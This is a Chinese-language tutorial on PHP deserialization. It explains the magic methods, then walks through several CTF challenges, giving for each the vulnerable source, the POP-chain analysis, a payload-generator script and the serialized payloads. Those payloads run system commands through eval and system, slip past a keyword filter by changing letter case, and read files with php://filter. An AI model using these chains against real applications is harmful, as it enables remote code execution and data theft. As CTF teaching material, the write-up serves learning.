一.知识
1.1基本介绍
1.2魔术方法
__construct() 当一个对象创建时自动调用
__destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用
__call() 在对象上下文中调用不可访问(这里的没有声明包括访问控制为proteced,private的属性)
的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 调用不可访问的属性时使用
__set() 给一个不可访问的属性赋值时调用
__isset() 在不可访问的属性上调用isset()或empty()
触发
__unset() 在不可访问的属性上使用unset()
时触发
__invoke() 当脚本尝试将对象调用为函数时触发
1.3类的属性protected和private
PHP 序列化的时候private和 protected 变量会引入不可见字符%00,%00类名%00属性名
为private,%00*%00属性名
为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚
<?php
class test{
public $address = 'shanxi';
public $age = '21';
}
$test1 = new test();
echo urlencode(serialize($test1));
?>
O:4:“test”:2:{s:7:“address”;s:6:“shanxi”;s:3:“age”;s:2:“21”;}
<?php
class test{
private $address = 'shanxi';
protected $age = '21';
}
$test1 = new test();
echo urlencode(serialize($test1));
?>
O:4:“test”:2:{s:13:“
testaddress
”;s:6:“shanxi”;s:6:“*age
”;s:2:“21”;}
注意13和6,变成public后private前数字+2+类名长度;protected+3.
O%3A4%3A%22test%22%3A2%3A%7Bs%3A13%3A%22
%00test%00address
%22%3Bs%3A6%3A%22shanxi%22%3Bs%3A6%3A%22%00%2A%00age
%22%3Bs%3A2%3A%2221%22%3B%7D
1.4 php7.1+版本对属性类型不敏感
对于PHP版本7.1+,对属性的类型不敏感,我们可以将private,protected
类型改为public
1.5 __construct给属性赋值
class Then{
public $func;
public function __toString()
{
。。。
}
public function __construct(){
$this->func =
}
}
1.6 调用魔术方法
注意是谁的实例
二.实例
。NSS
[SWPUCTF 2021 新生赛]ez_unserialize
进来看到
在源码中发现提示
这是提醒我们访问robots.txt
访问,获得源代码
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
生成payload的脚本
<?php
class wllm{
public $admin='admin';
public $passwd='ctf';
}
$a=new wllm();
$b=serialize($a);
echo $b;
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
payload:
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
获得flag:
[SWPUCTF 2021 新生赛]no_wakeup
点击得到源代码
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
需要绕过__wakeup:对象的属性个数大于真实个数
脚本:
<?php
class HaHaHa{
public $admin='admin';
public $passwd='wllm';
}
$a=new HaHaHa();
$b=serialize($a);
echo $b;
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
payload:
/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
得到flag
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
data://写入协议来应对file_get_contents($text,'r')==="welcome to the zjctf"
?text=data://text/plain,welcome to the zjctf
题目提醒了要包含useless.php文件
使用php伪协议来读取文件
php://filter/read=convert.base64-encode/resource=useless.php
payload为:
?text=data://text/plain,welcome to the zjctf&&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串密文
Base64解密得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
脚本
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
/?text=data://text/plain,welcome to the zjctf&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
输入payload页面如下
查看源码,发现flag
[SWPUCTF 2021 新生赛]pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
1.分析
定义了三个类:w44m、w22m、w33m。
在w44m类中,有一个Getflag()方法,它会检查 $admin 和 $passwd 的值是否为特定字符串,如果是,它将包含 flag.php 文件并打印出 $flag 的内容。
在w22m类中,有一个 __destruct() 方法,当对象销毁时,它会打印出 $w00m 属性的值。
在w33m类中,有一个 __toString() 方法,它试图调用 $w00m 对象的名为 $w22m 的方法,然后返回0。
2.写脚本生成payload的思路:
定义三个类:w22m、w33m、w44m。
在w22m类中,有一个公共属性 $w00m。
在w33m类中,有两个公共属性 $w00m 和 $w22m。
在w44m类中,有一个私有属性 $admin 和一个受保护的属性 $passwd。
然后,创建了一个w22m类的对象 $a。
给 $a->w00m 属性分配了一个新的w33m类的对象。
在w33m对象中,给 $w22m 属性分配了一个未定义的 Getflag 值
给 $w00m 属性分配了一个新的w44m类的对象。
使用 serialize() 函数将 $a 对象序列化,并将序列化后的数据存储在变量 $b 中。
打印出序列化后的数据和经过URL编码的数据。
<?php
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w22m=Getflag;
$a->w00m->w00m=new w44m();
$b=serialize($a);
echo $b;
echo "<br>";
$text = $b;
$end = urlencode($text);
echo $end;
——————————
构造payload:
?w00m=O:4:%22w22m%22:1:{s:4:%22w00m%22;O:4:%22w33m%22:2:{s:4:%22w00m%22;O:4:%22w44m%22:2:{s:11:%22w44madmin%22;s:4:%22w44m%22;s:9:%22*passwd%22;s:5:%2208067%22;}s:4:%22w22m%22;s:7:%22Getflag%22;}}
[MoeCTF 2021]unserialize~深度嵌套的序列化结构
题目直接给出了源码:
<?php
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
1.分析:
这段代码实现了一个简单的 PHP 反序列化漏洞示例。它包括了三个类:entrance、springboard 和 evil,并在 if 语句中处理用户提供的反序列化数据。让我为你解释一下每个类的作用:
entrance 类:这个类有一个属性 $start,它在构造函数 __construct() 中初始化。在析构函数 __destruct() 中,它调用 $this->start->helloworld(),即调用 $start 对象的 helloworld() 方法。
springboard 类:这个类有一个属性 $middle。当未定义的方法被调用时(使用 __call() 魔术方法),它将输出 $this->middle->hs。
evil 类:这个类有一个属性 $end,它在构造函数中初始化。当未定义的属性被访问时(使用 __get() 魔术方法),它会执行 $this->end 的内容,即通过 eval() 执行用户提供的代码。
在主要的逻辑中,如果有一个 serialize 参数传递给脚本,则会调用 unserialize() 函数,并传递用户提供的序列化数据。这可能导致触发上述类的魔术方法,从而执行恶意代码。
2.写脚本生成payload的思路:
生成 payload 时,创建一个深度嵌套的序列化结构,其中包括 entrance、springboard 和 evil 三个类的实例。这样的结构是为了利用反序列化漏洞,实现在 evil 类的 __get() 方法中执行系统命令。
调用的方法要求是entrance,值要求是evil方法中的end!
代码中,$a->start->middle->end 被设置为一个字符串,其中包含了一个系统命令 system(‘cd …;cd …;cd …;ls;cat flag;ls’);。这个命令将导致执行一系列操作,包括切换到上级目录并列出目录内容,然后读取 flag 文件的内容。
<?php
class entrance
{
public $start;
}
class springboard//跳板ne
{
public $middle;
}
class evil
{
public $end;
}
$a=new entrance();
$a->start=new springboard();
$a->start->middle=new evil();
// $a->start->middle->end='$_GET[\'a\'];';
$a->start->middle->end='system(\'cd ..;cd ..;cd ..;ls;cat flag;ls\');';
echo serialize($a);
?>
如果你不理解\的作用,请看:
在这个字符串中,反斜杠前面的反斜杠表示将反斜杠本身作为字符输出,而不是用于转义下一个字符。这样,’ 将被解释为一个单引号字符,而不是字符串的结束。这确保了你在 system 函数中正确地使用了单引号。
3.输入payload
O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:41:"system('cd ..;cd ..;cd ..;ls;cat flag;');";}}}
输入payload,得结果:
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
这种很多类的PHP代码多半是需要构造pop链
先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数,且参数是txw4ever
OK,下面开始被另外的博主教做标注
首先我们找到第一步用到的参数所在位置,并在后面标注清楚需要传入的内容
1可以理解为第一步,shell表示我们这里需要传入一个类似shell的东西或者用system标注
传给谁就标注在谁的后面,这里表示要传给txw4ever,而txw4ever是在NISA类下
标注好后,我们回到PHP源码,往eval上面看,发现需要触发__invoke()函数
__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)
找到$bb(),它对应的参数是su,且在类Ilovetxw里
同理我们进行标注,表示要调用参数su,传入NISA类
标注好后,我们回到PHP源码,往bb上面看,发现需要触发__toString()函数
__ToString⽅法是当对象被当做字符串的时候会自动调用
继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写
对应参数 a ,在four类里,我们找到a的位置继续进行标注
因为这里还存在一个if的判断语句,需要符合才能执行后面语句,所有还需要给fun也赋值
因为fun是私有变量,我们最好直接在类里面修改
原来$fun=‘abc’; 将它修改为下图所示
回到PHP源码,继续往上我们找到__set函数
__set是对不存在或者不可访问的变量进行赋值就会自动调用
于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数
同样进行标注
继续往上我们找到__call函数
__call() 在对象上下文中调用不可访问的方法时触发
我们找到TianXiWe类并不存在nisa这个方法
同样进行标注
再往上就找到wakeup函数, 即我们的链头了
该函数在使用unserilize之前就会触发。
生成payload的脚本:
先将所有类复制下来放进VS(前面加上<?php)
在这些类后面,我们开始写脚本,我先将完整的能跑出flag的脚本给大家:
<?php
class NISA{
public $fun="show_me_flag";
public $txw4ever; // 1 shell
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext; //5 Ilovetxw
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang; //4 four
public $su; //2 NISA
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER"; //3 Ilovetxw
private $fun='sixsixsix'; //fun = "sixsixsix
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
我们就根据刚才标注的12345顺序来写,用到哪个类时,必须先用new实例化一遍
(哪怕重复用到了某个类,也需要重新实例化一遍,比如上面的Ilovetxw类)
给大家开个头吧,我们先用到NISA类,所以实例化NISA类:$n = new NISA();
$n->txw4ever表示调用这个类里面的txw4ever,后面传入我们想要传入的内容即可
至于为什么改fun的值,我们后面再说;
至此我们完成了1步骤,继续往下看,来到2
我们用到Ilovetxw类,将其实例化,同理根据标注进行调用传参即可
这样我们就可以写出后面所以的脚本了
过滤与绕过
两种在代码中出现的位置
checkcheck():
hint():
找到hint函数位置,在第一个类,如何绕过这个函数 ,只需让if语句判断不成立即可
所以你现在知道为什么前面我们需要修改fun的值了吧。
如果没有改fun的值,你只能得到一个提示,flag在根目录
preg_match用来进行正则匹配,但没给匹配的内容,用的…,暗示我们存在关键字的过滤,
这里system被过滤掉了,如果我们原封不动的使用system,不出意外会返回 something wrong
用的是大小写绕过
拿flag
解法二.弱类型比较
在NISA::__wakeup里,做弱比较的时候就能触发__toString
还是分析一下
先找eval、flag这些危险函数和关键字样(这就是链尾),找到NISA对象中的eval函数,且参数是txw4ever
标注
往上找,__invoke函数
当脚本尝试将对象调用为函数时触发
我们找到Ilovetxw类中的__toString函数中有$bb(),其对应的参数为su
标注
往上找,__toString函数
一个对象被当作一个字符串被调用时触发
我们找到NISA对象中的__wakeup函数中的if弱类型比较,参数是fun
标注
再往上就找到wakeup函数, 即我们的链头了
该函数在使用unserilize之前就会触发。
生成payload的脚本:
<?php
class NISA{
public $txw4ever;
}
class Ilovetxw{
public $su;
}
$a = new NISA();
$a->txw4ever='System("cat /f*");';
$a->fun = '666';
$b = new Ilovetxw();
$b->su=$a;
$c = new NISA();
$c->fun = $b;
echo urlencode(serialize($c));
绕过就不讲了,大小写,改fun的值。就是注意这里建立了两个的NISA对象,fun的值都改一下
[NISACTF 2022]popchains
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
Try_Work_Hard类中的append方法中有文件包含漏洞
往下看,__invoke函数可以触发append函数
变量是var,标注
要调用__invoke
当脚本尝试将对象调用为函数时触发
找到Make_a_Change类里__get函数里的$function(),参数是$effort
标注
要触发__get函数
调用不存在的或私有的属性时使用
往上看,找到Road_is_Long类中的__toString函数中string->page,参数是$string
标注
要触发__toString
当一个对象被当作一个字符串调用时
往下看,找到Road_is_Long类(同一个类)__wakeup函数中的preg_match(“/file|ftp|http|https|gopher|dict|../i”, $this->page),参数是$page
标注
再往上就找到wakeup函数, 即我们的链头了
该函数在使用unserilize之前就会触发。
生成payload的脚本
<?php
class Road_is_Long{
public $page;//4 Make_a_Change
public $string;//3 Make_a_Change
public function __construct($file='index.php'){
$this->page = $file;
}
//当一个对象被当作一个字符串被调用
public function __toString(){
return $this->string->page;
}
//unserialse()
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;//1 shell
public function append($value){
include($value);
}
//当脚本尝试将对象调用为函数时触发
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;//2 Try_Work_Hard
public function __construct(){
$this->effort = array();
}
// 调用不存在或私有属性时使用
public function __get($key){
$function = $this->effort;
return $function();
}
}
$a = new Try_Work_Hard();
$b = new Make_a_Change();
$b->effort = $a;
$c = new Road_is_Long();
$c->string = $b;
$d = new Road_is_Long();
$d->page = $c;
$e = urlencode(serialize($d));
echo $e;
payload:
/?wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3Bs%3A9%3A"index.php"%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A54%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D
TlNTQ1RGe2VjOGJjZDAyLTBkNjQtNGI4NC1iMGE1LTJhODFkMjI2MzQzYn0K
解密得flag
[第五空间 2021]pklovecloud
考点:PHP引用 新建类来满足条件 首次触发的是__toString
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
这里很快就可以看到需要利用的点在ace::echo_name的file_get_contents,
pop链非常简单acp::__toString->ace::echo_name
。
首先要的点实在acp的cinder
,这个变量的属性是protected
,刚开始做题的时候没看到一直在想到底哪里错了,这里我们要在acp::__construct
来实例化ace
类。
acp::__toString的触发方法
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
这段代码中的echo会将acp类当作字符串输出,这时就会触发toString。
然后再看到ace
类,filename要等于flag.php
,docker
要为一个类,虽然后续的变量看起来是acp
类的,但是acp类里面都受保护的变量,序列化后会有不可见字符处理起来不方便。我们不妨新写一个类fake
,这个类里面只有$neutron和$nova
。
class fake
{
public $neutron=1;
public $nova;
}
接着往下看
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
这里对neutron进行了赋值,让它等于heat,那么这个时候neutron就不可能与nova全等。
php引用
要绕过这一层就需要用到PHP的引用,大致的意思就是让两个变量指向同一个内容。
首先对刚刚新写的类进行序列化
$fake = new fake();
$fake->nova = &$fake->neutron;
$fake = serialize($fake);
echo $fake;
得到O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}
,将它赋值给docker
。
exp如下:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="flag.php";
public $openstack;
public $docker='O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}';
}
$acp = new acp();
$acp = urlencode(serialize($acp));
echo $acp;
?>
payload:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
查看源码
最后将../nssctfasdasdflag
赋值给filename,
payload:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22…%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
参考:
https://www.cnblogs.com/bl0ck/articles/17728863.html
。SHCTF-2023
ez_serialize
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
考点:文件包含 php://filter 反序列化 知道该包含flag.php
解决:标注顺序
在A类中发现文件包含漏洞,开始标注
并写出脚本
<?php
class A{
public $var_1;//1 shell
//当脚本尝试将对象调用为函数时触发
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;//4 C
//反序列化
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;//3 D
//当一个对象被当作一个字符串被调用
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;//2 A
//调用不可访问的属性时使用
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new A();
$a->var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
$d = new D();
$d->p = $a;
$c = new C();
$c->z = $d;
$b = new B();
$b->q = $c;
echo urlencode(serialize($b));
?>
O%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22q%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A3%3A%22var%22%3BN%3Bs%3A1%3A%22z%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A5%3A%22var_1%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D
PD9waHANCiRmbGFnID0gImZsYWd7ZWE4NmNlN2UtNGRmOC00MmQ2LTg2NDgtOGUwMDRlOGFjMzVmfSI7DQo=
Base64解码,得到flag
<?php $flag = "flag{ea86ce7e-4df8-42d6-8648-8e004e8ac35f}";
。NewStarCTF 2023
POP Gadget
考点:
PHP反序列化 POP构造
疑点:
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
第一种方法
[0x00]分析链条
<?php
highlight_file(__FILE__);
class Begin{
public $name;//6 Then
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;//5 Super
// 当一个对象被当作一个字符串被调用
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj// 3 CTF
//在对象上下文中调用不可访问(这里的没有声明包括访问控制为proteced,private的属性)的方法时触发
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;// 4 Handle
//__invoke() 当脚本尝试将对象调用为函数时触发
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;//2 WhiteGod
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;//1 shell system
public $var;//1 shell "ls /"
//在不可访问的属性上使用unset()时触发
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
[0x01]payload:
<?php
class Begin{
public $name;
}
class Then{
public $func;
}
class Handle{
public $obj;
}
class Super{
public $obj;
}
class CTF{
public $handle;
}
class WhiteGod{
public $func;
public $var;
}
$a = new WhiteGod();
$a->func = 'system';
$a->var = 'cat /flag';
$b = new CTF();
$b->handle = $a;
$c = new Handle();
$c->obj = $b;
$d = new Super();
$d->obj = $c;
$e = new Then();
$e->func = $d;
$h = new Begin();
$h->name = $e;
echo urlencode(serialize($h));
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
第二种方法
POP Gadget如下:
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
编写Exp如下:
<?php
class Begin{
public $name;
public function __construct($a)
{
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a)
{
$this->func = $a;
}
}
class Handle{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class Super{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class CTF{
public $handle;
public function __construct($a)
{
$this->handle = $a;
}
}
class WhiteGod{
public $func;
public $var;
public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}
// POP Gadget:
// Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D